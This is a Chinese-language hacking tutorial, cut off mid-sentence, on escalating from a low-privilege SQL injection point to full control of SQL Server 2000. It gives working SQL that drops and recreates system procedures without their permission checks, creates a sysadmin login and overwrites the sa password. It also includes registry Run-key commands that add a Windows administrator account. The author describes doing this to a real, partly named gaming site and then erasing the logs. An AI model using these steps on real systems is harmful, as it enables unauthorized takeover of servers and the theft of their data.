一个注射点,一个webshell甚至系统权限
————只要给我一个注射点,无论什么权限,我都给你一个webshell甚至系统权限声明:本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责。因为
发觉其危害过大,原文已经经过大量删减及修改,即使这样本文的危害性仍然很
大,所以请大家不要对国内的站点做任何具有破坏性的操作。
<br />
考虑再三,偶还是决定发出来。此招手段歹毒,利用范围广泛,可以说是只要是
有sql注射漏洞的网站,只要运用此法99%可以拿到webshell甚至系统权限(不敢
把话说满,呵呵,经本人数百次真实"实战演习",基本上是100%可以拿到
webshell甚至系统权限)。 <br />
记得我在《MSSQL db_owner角色注入直接获得系统权限(续)》中写过一种
利用xp_regwrite来取得系统权限的方法:xp_regwrite
’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentvers ion\run’,’x
wq1’,’REG_SZ’,’net user xwq xwq /add’ <br />
xp_regwrite
’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentvers ion\run’,’x
wq2’,’REG_SZ’,’net localgroup administrators xwq /add’,只要让网站所在
的服务器重起,就能得到系统权限。经过本人的数百次的真实实验,这种方法不
太实用,很容易引起网管的注意,再说ddos也是违法的事(偶可是好人啊),发
动一场ddos要花费的大量的人力,物力(看你的肉鸡多少拉)。所以不太可行(
除非是你十分想要搞定的网站)。
呵呵,哆嗦拉那么多,你可能看的已经不耐烦拉,好,这就介绍我的三大
必杀技之一————万能提权。
假如一个网站存在sql注射漏洞,如果这个网站是用固定服务器sysadmin权
限的用户作的连接(呵呵,通俗点说就是sa,菜鸟可以这样认为),呵呵,想要拿
到一个webshell或者是系统权限可以说是易如反掌,轻而易举的事,据我所知,
sysadmin权限要拿到webshell或者系统权限不下10种,呵呵,可能更多吧(偶只
会10种),sysadmin怎么拿到webshell或者系统权限,我不想多说,想比大家都
已经烂熟于心拉,可是要是一个网站是db_owner权限呢?你怎么办,你怎么拿系
统权限,怎么拿webshell(没有上传漏洞和数据库备份等功能),大家可能回说
backup a shell,我记得LCX也在《MSSQL db_owner角色注入直接获得系统权限》
里说过拉"备份得到的shell只是理论化的东东,如果一个webshell有20mb的话,
你还能用它吗?"呵呵,要是我告诉你db_owner拿到一个webshell或者是系统权
限的方法和sysadmin权限的一样多,你回有什么反映,是不是觉得有点不可思议
,或者又是我胡说呢?(不相信的朋友,下面的内容就不要看拉)
呵呵,是不是看的心痒痒拉,迫不及待的想知道啊,好,我不在废话拉,这
就把我的三大必杀技之一————万能提升权限方法告诉大家。
在告诉大家之前,我们先做个实验
实验环境windowsxp sp1 SQL 2000 sp3,大家跟着我来step to step,首先新
建一个具有db_owner的权限的用户,这里我是xwq(就是在服务器角色里面什么都
不要选,在数据库角色里面钩上db_owner),好,现在我们打开查询分析器用xwq
连上后再里面输入sp_addlogin xuwenqiang,执行看看,出现拉什么?
<br />
服务器: 消息 2571,级别 14,状态 2,过程 sp_addlogin,行 16 <br />
用户 ’xwq’ 没有运行 DBCC auditevent 的权限。
服务器: 消息 15247,级别 16,状态 1,过程 sp_addlogin,行 17 <br />
用户没有执行此操作的权限。
<br />
呵呵,出现上面的错误信息这很正常,因为只有sysadmin 和 securityadmin 固
定服务器角色的成员才可以执行 sp_addlogin,那么怎么才好让sp_addlogin为我
所用呢?我们在这里看一下sp_addlogin的代码: <br />
create procedure sp_addlogin <br />
@loginame sysname <br />
,@passwd sysname = Null <br />
,@defdb ; ; sysname = ’master’ -- UNDONE: DEFAULT
CONFIGURABLE??? <br />
,@deflanguage sysname = Null <br />
,@sid varbinary(16) = Null <br />
,@encryptopt varchar(20) = Null <br />
AS <br />
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES -- <br />
set nocount on <br />
Declare @ret int -- return value of sp call
-- CHECK PERMISSIONS -- <br />
IF (not is_srvrolemember(’securityadmin’) = 1) <br />
begin <br />
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid) <br />
raiserror(15247,-1,-1) <br />
return (1) <br />
end <br />
ELSE <br />
begin <br />
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid) <br />
end
-- DISALLOW USER TRANSACTION -- <br />
set implicit_transactions off <br />
IF (@@trancount > 0) <br />
begin <br />
raiserror(15002,-1,-1,’sp_addlogin’) <br />
return (1) <br />
end
-- VALIDATE LOGIN NAME AS: <br />
-- (1) Valid SQL Name (SQL LOGIN) <br />
-- (2) No backslash (NT users only) <br />
-- (3) Not a reserved login name <br />
execute @ret = sp_validname @loginame <br />
if (@ret <> 0) <br />
return (1) <br />
if (charindex(’\’, @loginame) > 0) <br />
begin <br />
raiserror(15006,-1,-1,@loginame) <br />
return (1) <br />
end
--Note: different case sa is allowed. <br />
if (@loginame = ’sa’ or lower(@loginame) in (’public’)) <br />
begin <br />
raiserror(15405, -1 ,-1, @loginame) <br />
return (1) <br />
end
-- LOGIN NAME MUST NOT ALREADY EXIST -- <br />
if exists(select * from master.dbo.syslogins where loginname =
@loginame) <br />
begin <br />
raiserror(15025,-1,-1,@loginame) <br />
return (1) <br />
end
-- VALIDATE DEFAULT DATABASE -- <br />
IF db_id(@defdb) IS NULL <br />
begin <br />
raiserror(15010,-1,-1,@defdb) <br />
return (1) <br />
end
-- VALIDATE DEFAULT LANGUAGE -- <br />
IF (@deflanguage IS NOT Null) <br />
begin <br />
Execute @ret = sp_validlang @deflanguage <br />
IF (@ret <> 0) <br />
return (1) <br />
end <br />
ELSE <br />
begin <br />
select @deflanguage = name from master.dbo.syslanguages <br />
where langid = @@default_langid --server default
language
if @deflanguage is null <br />
select @deflanguage = N’us_english’ <br />
end
-- VALIDATE SID IF GIVEN -- <br />
if ((@sid IS NOT Null) and (datalength(@sid) <> 16)) <br />
begin <br />
raiserror(15419,-1,-1) <br />
return (1) <br />
end <br />
else if @sid is null <br />
select @sid = newid() <br />
if (suser_sname(@sid) IS NOT Null) <br />
begin <br />
raiserror(15433,-1,-1) <br />
return (1) <br />
end
-- VALIDATE AND USE ENCRYPTION OPTION -- <br />
declare @xstatus smallint <br />
select @xstatus = 2 -- access <br />
if @encryptopt is null <br />
select @passwd = pwdencrypt(@passwd) <br />
else if @encryptopt = ’skip_encryption_old’ <br />
begin <br />
select @xstatus = @xstatus | 0x800, -- old-style
encryption <br />
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd))) <br />
end <br />
else if @encryptopt <> ’skip_encryption’ <br />
begin <br />
raiserror(15600,-1,-1,’sp_addlogin’) <br />
return 1 <br />
end
-- ATTEMPT THE Insert OF THE NEW LOGIN -- <br />
Insert INTO master.dbo.sysxlogins VALUES <br />
(NULL, @sid, @xstatus, getdate(), <br />
getdate(), @loginame, convert(varbinary(256), @passwd), <br />
db_id(@defdb), @deflanguage) <br />
if @@error <> 0 -- this indicates we saw duplicate row <br />
return (1)
-- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE -- <br />
exec(’use master grant all to null’)
-- FINALIZATION: RETURN SUCCESS/FAILURE -- <br />
raiserror(15298,-1,-1) <br />
return (0) -- sp_addlogin
GO
之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行
sp_addlogin,主要是这里一段再搞鬼 <br />
-- CHECK PERMISSIONS -- <br />
IF (not is_srvrolemember(’securityadmin’) = 1) <br />
begin <br />
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid) <br />
raiserror(15247,-1,-1) <br />
return (1) <br />
end <br />
ELSE <br />
begin <br />
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid) <br />
end
<br />
只要我们把这段代码删拉,任何权限的用户都可以增加用户拉。 <br />
好,我们先把sp_addlogin删拉
drop procedure sp_addlogin
<br />
然后再来恢复sp_addlogin
<br />
create procedure sp_addlogin <br />
@loginame sysname <br />
,@passwd sysname = Null <br />
,@defdb ; ; sysname = ’master’ -- UNDONE: DEFAULT
CONFIGURABLE??? <br />
,@deflanguage sysname = Null <br />
,@sid varbinary(16) = Null <br />
,@encryptopt varchar(20) = Null <br />
AS <br />
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES -- <br />
set nocount on <br />
Declare @ret int -- return value of sp call
-- DISALLOW USER TRANSACTION -- <br />
set implicit_transactions off <br />
IF (@@trancount > 0) <br />
begin <br />
raiserror(15002,-1,-1,’sp_addlogin’) <br />
return (1) <br />
end
-- VALIDATE LOGIN NAME AS: <br />
-- (1) Valid SQL Name (SQL LOGIN) <br />
-- (2) No backslash (NT users only) <br />
-- (3) Not a reserved login name <br />
execute @ret = sp_validname @loginame <br />
if (@ret <> 0) <br />
return (1) <br />
if (charindex(’\’, @loginame) > 0) <br />
begin <br />
raiserror(15006,-1,-1,@loginame) <br />
return (1) <br />
end
--Note: different case sa is allowed. <br />
if (@loginame = ’sa’ or lower(@loginame) in (’public’)) <br />
begin <br />
raiserror(15405, -1 ,-1, @loginame) <br />
return (1) <br />
end
-- LOGIN NAME MUST NOT ALREADY EXIST -- <br />
if exists(select * from master.dbo.syslogins where loginname =
@loginame) <br />
begin <br />
raiserror(15025,-1,-1,@loginame) <br />
return (1) <br />
end
-- VALIDATE DEFAULT DATABASE -- <br />
IF db_id(@defdb) IS NULL <br />
begin <br />
raiserror(15010,-1,-1,@defdb) <br />
return (1) <br />
end
-- VALIDATE DEFAULT LANGUAGE -- <br />
IF (@deflanguage IS NOT Null) <br />
begin <br />
Execute @ret = sp_validlang @deflanguage <br />
IF (@ret <> 0) <br />
return (1) <br />
end <br />
ELSE <br />
begin <br />
select @deflanguage = name from master.dbo.syslanguages <br />
where langid = @@default_langid --server default
language
if @deflanguage is null <br />
select @deflanguage = N’us_english’ <br />
end
-- VALIDATE SID IF GIVEN -- <br />
if ((@sid IS NOT Null) and (datalength(@sid) <> 16)) <br />
begin <br />
raiserror(15419,-1,-1) <br />
return (1) <br />
end <br />
else if @sid is null <br />
select @sid = newid() <br />
if (suser_sname(@sid) IS NOT Null) <br />
begin <br />
raiserror(15433,-1,-1) <br />
return (1) <br />
end
-- VALIDATE AND USE ENCRYPTION OPTION -- <br />
declare @xstatus smallint <br />
select @xstatus = 2 -- access <br />
if @encryptopt is null <br />
select @passwd = pwdencrypt(@passwd) <br />
else if @encryptopt = ’skip_encryption_old’ <br />
begin <br />
select @xstatus = @xstatus | 0x800, -- old-style
encryption <br />
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd))) <br />
end <br />
else if @encryptopt <> ’skip_encryption’ <br />
begin <br />
raiserror(15600,-1,-1,’sp_addlogin’) <br />
return 1 <br />
end
-- ATTEMPT THE Insert OF THE NEW LOGIN -- <br />
Insert INTO master.dbo.sysxlogins VALUES <br />
(NULL, @sid, @xstatus, getdate(), <br />
getdate(), @loginame, convert(varbinary(256), @passwd), <br />
db_id(@defdb), @deflanguage) <br />
if @@error <> 0 -- this indicates we saw duplicate row <br />
return (1)
-- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE -- <br />
exec(’use master grant all to null’)
-- FINALIZATION: RETURN SUCCESS/FAILURE -- <br />
raiserror(15298,-1,-1) <br />
return (0) -- sp_addlogin
GO
<br />
这样我这个只具有db_owner权限的xwq就可以任意增加用户拉,ok,在查询分析器
里面在输入sp_addlogin xuwenqiang,执行看看,GOOD!返回已创建新登录。 <br />
我新建拉一个用户xuwenqiang,当然这个用户我可不是白建的,我要把他变成具
有最高权限的用户,在sql中具有最高权限的当然是sysadmin拉,而把一个用户变
成sysadmin只有sp_addsrvrolemember这个存储过程拉,可是只有sysadmin权限的
用户才好使用,不爽,偶要让他为我所用,呵呵,聪明的读者一定想到拉我怎么
让只具有db_owner权限的我,怎么使用sp_addsrvrolemember拉,没错,和让
sp_addlogin为我所用的方法一样,只要去掉sp_addsrvrolemember中权限限制的
一段,我们就可以任意增加sysadmin拉,我们先看看sp_addsrvrolemember的代码
:create procedure sp_addsrvrolemember <br />
@loginame sysname, -- login name <br />
@rolename sysname = NULL -- server role name <br />
as <br />
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES -- <br />
set nocount on <br />
declare @ret int, -- return value of sp call <br />
@rolebit smallint, <br />
@ismem int
-- DISALLOW USER TRANSACTION -- <br />
set implicit_transactions off <br />
IF (@@trancount > 0) <br />
begin <br />
raiserror(15002,-1,-1,’sp_addsrvrolemember’) <br />
return (1) <br />
end
-- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS -- <br />
select @ismem = is_srvrolemember(@rolename) <br />
if @ismem is null <br />
begin <br />
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL) <br />
raiserror(15402, -1, -1, @rolename) <br />
return (1) <br />
end <br />
if @ismem = 0 <br />
begin <br />
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL) <br />
raiserror(15247,-1,-1) <br />
return (1) <br />
end
-- AUDIT A SUCCESSFUL SECURITY CHECK -- <br />
dbcc auditevent (108, 1, 1, @loginame, NULL, @rolename, NULL)
-- CANNOT CHANGE SA ROLES -- <br />
if @loginame = ’sa’ <br />
begin <br />
raiserror(15405, -1 ,-1, @loginame) <br />
return (1) <br />
end
-- OBTAIN THE BIT FOR THIS ROLE -- <br />
select @rolebit = CASE @rolename <br />
WHEN ’sysadmin’ THEN 16 <br />
WHEN ’securityadmin’ THEN 32 <br />
WHEN ’serveradmin’ THEN 64 <br />
WHEN ’setupadmin’ THEN 128 <br />
WHEN ’processadmin’ THEN 256 <br />
WHEN ’diskadmin’ THEN 512 <br />
WHEN ’dbcreator’ THEN 1024 <br />
WHEN ’bulkadmin’ THEN 4096 <br />
ELSE NULL END
-- ADD ROW FOR NT LOGIN IF NEEDED -- <br />
if not exists(select * from master.dbo.syslogins where
loginname = @loginame) <br />
begin <br />
execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame <br />
if (@ret <> 0) <br />
begin <br />
raiserror(15007,-1,-1,@loginame) <br />
return (1) <br />
end <br />
end
-- Update ROLE MEMBERSHIP -- <br />
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,
xdate2 = getdate() <br />
where name = @loginame and srvid IS NULL
-- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE -- <br />
exec(’use master grant all to null’)
raiserror(15488,-1,-1,@loginame,@rolename)
-- FINALIZATION: RETURN SUCCESS/FAILURE <br />
return (@@error) -- sp_addsrvrolemember
GO
<br />
把这一段删除 -- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS -- <br />
select @ismem = is_srvrolemember(@rolename) <br />
if @ismem is null <br />
begin <br />
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL) <br />
raiserror(15402, -1, -1, @rolename) <br />
return (1) <br />
end <br />
if @ismem = 0 <br />
begin <br />
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL) <br />
raiserror(15247,-1,-1) <br />
return (1) <br />
end <br />
这样我们就可以任意增加sysadmin拉,呵呵,爽啊。在查询分析器里输入 <br />
sp_addsrvrolemember xuwenqiang,sysadmin,Yeah!!!!!!!成功拉。到这里我们就
成功利用拉一个只具有db_owner权限的用户新建拉一个在SQL中具有至高无上权限
,也就是具有sysadmin权限的用户xuwenqiang,有拉sysadmin权限想要webshell或
者系统权限还不容易么!不要只把眼睛只放在我所说的sp_addlogin和
<br />
sp_addsrvrolemember这两个存储过程上,凡是只有sysadmin才好使用的存储过程
,利用我的万能提权必杀技,我们都可以使用。比如:sp-
configure,sp_addlinkedserver,sp_addlinkedsrvlogin,sp_makewebtask等等很
多只好sysadmin权限能利用的,我们都可以让他们为我所用。
下面再举一个万能提权的例子
和我一起打造一个永远不会被杀及完美的后门
我们都知道在sql中有个被黑客称为后门的用户,那就是sa,sa 是内置的管理员
登录,而且不能进行更改和删除。呵呵,这是M$说的,要是你看过我写的另外一
篇文章《完全删除sa这个后门》就知道,其实sa也是好删除的。我们知道在sql可
以改密码的存储过程有sp_password,可是我们必须知道要改的用户的旧密码,才
可以更改,那么有没有办法再不知道旧密码的情况下更改sa的密码呢?有,其实
也就是利用sp_configure,sp_configure的功能是显示或更改当前服务器的全局配
置设置。sp_configure(用于更改配置选项)的执行许可权限默认授?sysadmin
和 serveradmin 固定服务器角色。这很容易只要把sp_configure中检查权限的一
段删除,再重建,我们就好用拉。 <br />
Create PROCEDURE sp_configure --- 1996/08/14 09:43
@configname varchar(35) = NULL -- option name to configure <br />
,@configvalue int = NULL -- new configuration value <br />
as
set nocount on
declare <br />
@confignum int --Num of the opt to be configured <br />
,@configcount int --Num of options like @configname <br />
,@show_advance int --Y/N Read&Write actions on
"advanced" opts
declare @fullconfigname varchar (35) <br />
declare @prevvalue int <br />
/* <br />
** Determine @maxnumber based on advance option in syscurconfigs. <br />
*/ <br />
if (select value from master.dbo.syscurconfigs where config = 518) = 1 <br />
select @show_advance = 1 -- Display advanced options <br />
else <br />
select @show_advance = 0 -- Don’’t display advanced options
/* <br />
** Make certain that max user info. reflects any addpak upgrades. <br />
*/ <br />
if (select high from master.dbo.spt_values where number=103 and
type=’’C’’) <br />
<> @@max_connections
update master.dbo.spt_values <br />
set high = @@max_connections <br />
where number = 103 <br />
and type=’’C’’
/* <br />
** If no option name is given, the procedure will just print out all
the <br />
** options and their values. <br />
*/ <br />
if @configname is NULL <br />
begin <br />
select name, minimum = low, maximum = high, <br />
config_value = c.value, <br />
run_value = master.dbo.syscurconfigs.value <br />
from master.dbo.spt_values, master.dbo.sysconfigures c,
master.dbo.syscurconfigs <br />
where type = ’’C’’ <br />
and number = c.config <br />
and number = master.dbo.syscurconfigs.config
and <br />
((c.status & 2 <> 0 and @show_advance = 1) <br />
or <br />
(c.status & 2 = 0) <br />
) <br />
order by lower(name)
return (0) <br />
end
/* <br />
** Use @configname and try to find the right option. <br />
** If there isn’’t just one, print appropriate diagnostics and return. <br />
*/ <br />
select @configcount = count(*), @fullconfigname = min (v.name),
@prevvalue = min (c.value) <br />
from master.dbo.spt_values v ,master.dbo.sysconfigures c <br />
where v.name like ’’%’’ @configname ’’%’’ and v.type = ’’C’’ <br />
and v.number = c.config <br />
and <br />
((c.status & 2 <> 0 and @show_advance = 1) <br />
or <br />
(c.status & 2 = 0) <br />
)
/* <br />
** If no option, show the user what the options are. <br />
*/ <br />
if @configcount = 0 <br />
begin <br />
raiserror (15123,-1,-1,@configname)
print ’’ ’’ <br />
raiserror (15456,-1,-1)
/* <br />
** Show the user what the options are. <br />
*/ <br />
select name, minimum = low, maximum = high, <br />
config_value = c.value, <br />
run_value = master.dbo.syscurconfigs.value <br />
from master.dbo.spt_values, master.dbo.sysconfigures c,
master.dbo.syscurconfigs <br />
where type = ’’C’’ <br />
and number = c.config <br />
and number = master.dbo.syscurconfigs.config
and <br />
((c.status & 2 <> 0 and @show_advance = 1) <br />
or <br />
(c.status & 2 = 0) <br />
)
return (1) <br />
end
/* <br />
** If more than one option like @configname, show the duplicates and
return. <br />
*/ <br />
if @configcount > 1 <br />
begin <br />
raiserror (15124,-1,-1,@configname) <br />
print ’’ ’’
select duplicate_options = name <br />
from master.dbo.spt_values,master.dbo.sysconfigures c <br />
where name like ’’%’’ @configname ’’%’’ <br />
and type = ’’C’’ <br />
and number = c.config <br />
and <br />
((c.status & 2 <> 0 and @show_advance = 1) <br />
or <br />
(c.status & 2 = 0) <br />
)
return (1) <br />
end <br />
else <br />
/* There must be exactly one, so get the full name. */ <br />
select @configname = name --,@value_in_sysconfigures = c.value <br />
from master.dbo.spt_values,master.dbo.sysconfigures c <br />
where name like ’’%’’ @configname ’’%’’ and type = ’’C’’ <br />
and number = c.config <br />
and <br />
((c.status & 2 <> 0 and @show_advance = 1) <br />
or <br />
(c.status & 2 = 0) <br />
)
/* <br />
** If @configvalue is NULL, just show the current state of the option. <br />
*/ <br />
if @configvalue is null <br />
begin
select v.name <br />
,v.low as ’’minimum’’ <br />
,v.high as ’’maximum’’ <br />
,c.value as ’’config_value’’ <br />
,u.value as ’’run_value’’ <br />
from <br />
master.dbo.spt_values v left outer join <br />
master.dbo.sysconfigures c on v.number = c.config <br />
left outer join <br />
master.dbo.syscurconfigs u on v.number = u.config <br />
where <br />
v.type = ’’C ’’ <br />
and v.name like ’’%’’ @configname ’’%’’ <br />
and <br />
((c.status & 2 <> 0 and @show_advance = 1) <br />
or <br />
(c.status & 2 = 0) <br />
)
return (0) <br />
end
/* <br />
** Now get the configuration number. <br />
*/ <br />
select @confignum = number <br />
from master.dbo.spt_values,master.dbo.sysconfigures c <br />
where type = ’’C’’ <br />
and (@configvalue between low and high or @configvalue = 0) <br />
and name like ’’%’’ @configname ’’%’’ <br />
and number = c.config <br />
and <br />
((c.status & 2 <> 0 and @show_advance = 1) <br />
or <br />
(c.status & 2 = 0) <br />
)
/* <br />
** If this is the number of default language, we want to make sure <br />
** that the new value is a valid language id in Syslanguages. <br />
*/ <br />
if @confignum = 124 <br />
begin <br />
if not exists (select * from master.dbo.syslanguages <br />
where langid = @configvalue) <br />
begin <br />
/* 0 is default language, us_english */ <br />
if @configvalue <> 0 <br />
begin <br />
raiserror(15127,-1,-1) <br />
return (1) <br />
end <br />
end <br />
end
/* <br />
** If this is the number of kernel language, we want to make sure <br />
** that the new value is a valid language id in Syslanguages. <br />
*/ <br />
if @confignum = 132 <br />
begin <br />
if not exists (select * from master.dbo.syslanguages <br />
where langid = @configvalue) <br />
begin <br />
/* 0 is default language, us_english */ <br />
if @configvalue <> 0 <br />
begin <br />
raiserror(15028,-1,-1) <br />
return (1) <br />
end <br />
end <br />
end
/* <br />
** "user options" should not try to set incompatible options/values. <br />
*/ <br />
if @confignum = 1534 --"user options" <br />
begin
if (@configvalue & (1024 2048) = (1024 2048)) --
ansi_null_default_on/off <br />
begin <br />
raiserror(15303,-1,-1,@configvalue) <br />
return (1) <br />
end <br />
end
/* <br />
** Although the @configname is good, @configvalue wasn’’t in range. <br />
*/ <br />
if @confignum is NULL <br />
begin <br />
raiserror(15129,-1,-1,@configvalue,@configname) <br />
return (1) <br />
end
--Msg 15002, but in 6.5 allow this inside a txn (not check @@trancount)
#12828.
/* <br />
** Now update sysconfigures. <br />
*/ <br />
update master.dbo.sysconfigures set value = @configvalue <br />
where config = @confignum
/* <br />
** Flush the procedure cache - this is to account for options which
become <br />
** effective immediately (ie. dont need a server restart). <br />
*/ <br />
dbcc freeproccache
raiserror(15457,-1,-1, @fullconfigname, @prevvalue, @configvalue) with
log
return (0) -- sp_configure
GO
<br />
ok,我们再 <br />
sp_configure ’’allow updates’’,1 <br />
go <br />
RECONFIGURE WITH OVERRIDE <br />
go
好拉这样我们才好更改sa的密码。接着update sysxlogins set
password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A 1FC944AA50C
BB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改
成拉111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完
全删除sa这个后门》。
<br />
实例: <br />
下面对一个国内非常出名的站点进行善意的攻击测试,来对上面的知识进行
一次大概的验证,出于影响等诸多因素,我们称这个站点为www.**173.com。
www.**173.com这个站点在游戏上很有名气,排名在前20名(我当时测试的时候)
,在这里我不想说我怎么找到的注射点,大家还可以找找,还是满多的(整个测
试可真花费拉我不少时间,别误会,我不是说时间花在"检测"上,而是都放在
写程序里面拉,不写个像样点的程序,怎么让我为所欲为呢?整个攻击只有10分
钟不到)。 <br />
在找到的注射点gametype=**(郁闷,要是当时测试的时候有nbsi2,偶可能
要轻松不少),先输入drop procedure sp_addlogin,然后在IE里面输入(呵呵,
我当然是在我写的程序里面输入拉) <br />
create procedure sp_addlogin <br />
@loginame sysname <br />
,@passwd sysname = Null <br />
,@defdb ; ; sysname = ’’master’’ -- UNDONE: DEFAULT
CONFIGURABLE??? <br />
,@deflanguage sysname = Null <br />
,@sid varbinary(16) = Null <br />
,@encryptopt varchar(20) = Null <br />
AS <br />
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES -- <br />
set nocount on <br />
Declare @ret int -- return value of sp call
-- DISALLOW USER TRANSACTION -- <br />
set implicit_transactions off <br />
IF (@@trancount > 0) <br />
begin <br />
raiserror(15002,-1,-1,’’sp_addlogin’’) <br />
return (1) <br />
end
-- VALIDATE LOGIN NAME AS: <br />
-- (1) Valid SQL Name (SQL LOGIN) <br />
-- (2) No backslash (NT users only) <br />
-- (3) Not a reserved login name <br />
execute @ret = sp_validname @loginame <br />
if (@ret <> 0) <br />
return (1) <br />
if (charindex(’’\’’, @loginame) > 0) <br />
begin <br />
raiserror(15006,-1,-1,@loginame) <br />
return (1) <br />
end
--Note: different case sa is allowed. <br />
if (@loginame = ’’sa’’ or lower(@loginame) in (’’public’’)) <br />
begin <br />
raiserror(15405, -1 ,-1, @loginame) <br />
return (1) <br />
end
-- LOGIN NAME MUST NOT ALREADY EXIST -- <br />
if exists(select * from master.dbo.syslogins where loginname =
@loginame) <br />
begin <br />
raiserror(15025,-1,-1,@loginame) <br />
return (1) <br />
end
-- VALIDATE DEFAULT DATABASE -- <br />
IF db_id(@defdb) IS NULL <br />
begin <br />
raiserror(15010,-1,-1,@defdb) <br />
return (1) <br />
end
-- VALIDATE DEFAULT LANGUAGE -- <br />
IF (@deflanguage IS NOT Null) <br />
begin <br />
Execute @ret = sp_validlang @deflanguage <br />
IF (@ret <> 0) <br />
return (1) <br />
end <br />
ELSE <br />
begin <br />
select @deflanguage = name from master.dbo.syslanguages <br />
where langid = @@default_langid --server default
language
if @deflanguage is null <br />
select @deflanguage = N’’us_english’’ <br />
end
-- VALIDATE SID IF GIVEN -- <br />
if ((@sid IS NOT Null) and (datalength(@sid) <> 16)) <br />
begin <br />
raiserror(15419,-1,-1) <br />
return (1) <br />
end <br />
else if @sid is null <br />
select @sid = newid() <br />
if (suser_sname(@sid) IS NOT Null) <br />
begin <br />
raiserror(15433,-1,-1) <br />
return (1) <br />
end
-- VALIDATE AND USE ENCRYPTION OPTION -- <br />
declare @xstatus smallint <br />
select @xstatus = 2 -- access <br />
if @encryptopt is null <br />
select @passwd = pwdencrypt(@passwd) <br />
else if @encryptopt = ’’skip_encryption_old’’ <br />
begin <br />
select @xstatus = @xstatus | 0x800, -- old-style
encryption <br />
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd))) <br />
end <br />
else if @encryptopt <> ’’skip_encryption’’ <br />
begin <br />
raiserror(15600,-1,-1,’’sp_addlogin’’) <br />
return 1 <br />
end
-- ATTEMPT THE Insert OF THE NEW LOGIN -- <br />
Insert INTO master.dbo.sysxlogins VALUES <br />
(NULL, @sid, @xstatus, getdate(), <br />
getdate(), @loginame, convert(varbinary(256), @passwd), <br />
db_id(@defdb), @deflanguage) <br />
if @@error <> 0 -- this indicates we saw duplicate row <br />
return (1)
-- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE -- <br />
exec(’’use master grant all to null’’)
-- FINALIZATION: RETURN SUCCESS/FAILURE -- <br />
raiserror(15298,-1,-1) <br />
return (0) -- sp_addlogin
GO
OK,我们新建个用户exec master..sp_addlogin xwq
<br />
再drop procedure sp_addsrvrolemember,然后在IE里输入
<br />
create procedure sp_addsrvrolemember <br />
@loginame sysname, -- login name <br />
@rolename sysname = NULL -- server role name <br />
as <br />
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES -- <br />
set nocount on <br />
declare @ret int, -- return value of sp call <br />
@rolebit smallint, <br />
@ismem int
-- DISALLOW USER TRANSACTION -- <br />
set implicit_transactions off <br />
IF (@@trancount > 0) <br />
begin <br />
raiserror(15002,-1,-1,’’sp_addsrvrolemember’’) <br />
return (1) <br />
end
<br />
-- CANNOT CHANGE SA ROLES -- <br />
if @loginame = ’’sa’’ <br />
begin <br />
raiserror(15405, -1 ,-1, @loginame) <br />
return (1) <br />
end
-- OBTAIN THE BIT FOR THIS ROLE -- <br />
select @rolebit = CASE @rolename <br />
WHEN ’’sysadmin’’ THEN 16 <br />
WHEN ’’securityadmin’’ THEN 32 <br />
WHEN ’’serveradmin’’ THEN 64 <br />
WHEN ’’setupadmin’’ THEN 128 <br />
WHEN ’’processadmin’’ THEN 256 <br />
WHEN ’’diskadmin’’ THEN 512 <br />
WHEN ’’dbcreator’’ THEN 1024 <br />
WHEN ’’bulkadmin’’ THEN 4096 <br />
ELSE NULL END
-- ADD ROW FOR NT LOGIN IF NEEDED -- <br />
if not exists(select * from master.dbo.syslogins where
loginname = @loginame) <br />
begin <br />
execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame <br />
if (@ret <> 0) <br />
begin <br />
raiserror(15007,-1,-1,@loginame) <br />
return (1) <br />
end <br />
end
-- Update ROLE MEMBERSHIP -- <br />
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,
xdate2 = getdate() <br />
where name = @loginame and srvid IS NULL
-- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE -- <br />
exec(’’use master grant all to null’’)
raiserror(15488,-1,-1,@loginame,@rolename)
-- FINALIZATION: RETURN SUCCESS/FAILURE <br />
return (@@error) -- sp_addsrvrolemember
GO
<br />
接着再exec master..sp_addsrvrolemember xwq,sysadmin <br />
我们拿sql综合利用工具或者查询分析器连上看看,呵呵,成功拉,这样我们就在
www.**17173.com的服务器上建拉一个具有最高权限的用户xwq拉,下面的事我想
大家都应该回做拉吧。呵呵,因为只是安全测试,我并没有深入下去,删拉帐号
,清除日志,闪人。
<br />
看到拉吧,我的必杀技之一——万能提权的威力拉吧,只要是给我一个注射点,
无论什么权限,我都会给你一个webshell甚至系统权限.呵呵,其实说万能的提升
权限方法的确是有点夸张拉,因为Create PROCEDURE 的权限默认授予 sysadmin
